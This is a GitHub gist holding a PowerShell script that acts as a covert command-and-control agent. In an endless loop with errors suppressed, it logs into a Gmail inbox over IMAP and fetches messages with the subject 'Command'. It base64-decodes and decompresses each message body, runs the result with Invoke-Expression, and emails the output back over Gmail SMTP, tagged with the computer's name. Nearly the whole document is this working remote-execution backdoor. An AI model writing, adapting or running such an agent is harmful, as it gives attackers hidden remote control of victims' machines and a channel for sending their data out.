Created
April 15, 2015 13:12
-
-
Save samratashok/f5c2c5810c2cc3917af0 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Below code tries to pull commands from Gmail. | |
| #function Invoke-PsGcatAgentIMAP | |
| #{ | |
| [CmdletBinding()] Param( | |
| [Parameter(Position = 0, Mandatory = $false)] | |
| [String] | |
| $Username, | |
| [Parameter(Position = 1, Mandatory = $false)] | |
| [String] | |
| $Password | |
| ) | |
| #Based on http://learningpcs.blogspot.in/2012/01/powershell-v2-read-gmail-more-proof-of.html | |
| $ErrorActionPreference = "SilentlyContinue" | |
| while ($true) | |
| { | |
| try | |
| { | |
| $tcpClient = New-Object -TypeName System.Net.Sockets.TcpClient | |
| # Connect to gmail | |
| $tcpClient.Connect("imap.gmail.com", 993) | |
| if($tcpClient.Connected) | |
| { | |
| # Create new SSL Stream for tcpClient | |
| [System.Net.Security.SslStream] $sslStream = $tcpClient.GetStream() | |
| # Authenticating as client | |
| #Write-Output "Authenticating as client." | |
| $sslStream.AuthenticateAsClient("imap.gmail.com"); | |
| #if($sslStream.IsAuthenticated) | |
| #{ | |
| $script:result = "" | |
| $sb = New-Object System.Text.StringBuilder | |
| $mail ="" | |
| $responsebuffer = [Array]::CreateInstance("byte", 2048) | |
| function ReadResponse ($command, $ReturnResult) | |
| { | |
| $sb = New-Object System.Text.StringBuilder | |
| if ($command -ne "") | |
| { | |
| $command | |
| $buf = [System.Text.Encoding]::ASCII.GetBytes($command) | |
| $sslStream.Write($buf, 0, $buf.Length) | |
| } | |
| $sslStream.Flush() | |
| $bytes = $sslStream.Read($responsebuffer, 0, 2048) | |
| $str = $sb.Append([System.Text.Encoding]::ASCII.GetString($responsebuffer)) | |
| $sb.ToString() | |
| $temp = $sb.ToString() | Select-String "\* SEARCH" | |
| if ($temp) | |
| { | |
| $fetch = $temp.ToString() -split "\$",2 | |
| $tmp = $fetch[0] -split "\* SEARCH " -split " " -replace "`n" | |
| [int]$mail = $tmp[-1] | |
| $cmd = ReadResponse("$ FETCH $mail BODY[TEXT]`r`n", "1") | |
| $tmp = $cmd[2] -split "\)",2 -replace "`n" | |
| [String]$EncCommand = ($tmp[0] -split "##",2)[1] -replace "(?<=\=)3D"-replace '"\s*=.*?"' | |
| $EncCommand | |
| #$tempcommand | |
| #Decode | |
| $dec = [System.Convert]::FromBase64String($EncCommand) | |
| $ms = New-Object System.IO.MemoryStream | |
| $ms.Write($dec, 0, $dec.Length) | |
| $ms.Seek(0,0) | Out-Null | |
| $cs = New-Object System.IO.Compression.DeflateStream ($ms, [System.IO.Compression.CompressionMode]::Decompress) | |
| $sr = New-Object System.IO.StreamReader($cs) | |
| $cmd = $sr.readtoend() | |
| $result = Invoke-Expression $cmd | |
| $result | |
| #Send results to gmail | |
| #http://stackoverflow.com/questions/1252335/send-mail-via-gmail-with-powershell-v2s-send-mailmessage | |
| $smtpserver = “smtp.gmail.com” | |
| $msg = new-object Net.Mail.MailMessage | |
| $smtp = new-object Net.Mail.SmtpClient($smtpServer ) | |
| $smtp.EnableSsl = $True | |
| $smtp.Credentials = New-Object System.Net.NetworkCredential(“user”, “pass”); | |
| $msg.From = “[email protected]” | |
| $msg.To.Add(”[email protected]”) | |
| $msg.Subject = "Output from $env:Computername" | |
| $msg.Body = $result | |
| $smtp.Send($msg) | |
| } | |
| } | |
| ReadResponse "" | |
| ReadResponse ("$ LOGIN " + "[email protected]" + " " + "pass" + " `r`n") | Out-Null | |
| ReadResponse("$ SELECT INBOX`r`n") | Out-Null | |
| ReadResponse("$ SEARCH SUBJECT `"Command`"`r`n") | |
| ReadResponse("$ LOGOUT`r`n") | Out-Null | |
| # } | |
| #else | |
| #{ | |
| #Write-Error "You were not authenticated. Quitting." | |
| #} | |
| } | |
| else | |
| { | |
| Write-Error "You are not connected to the host. Quitting" | |
| } | |
| } | |
| catch | |
| { | |
| $_ | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment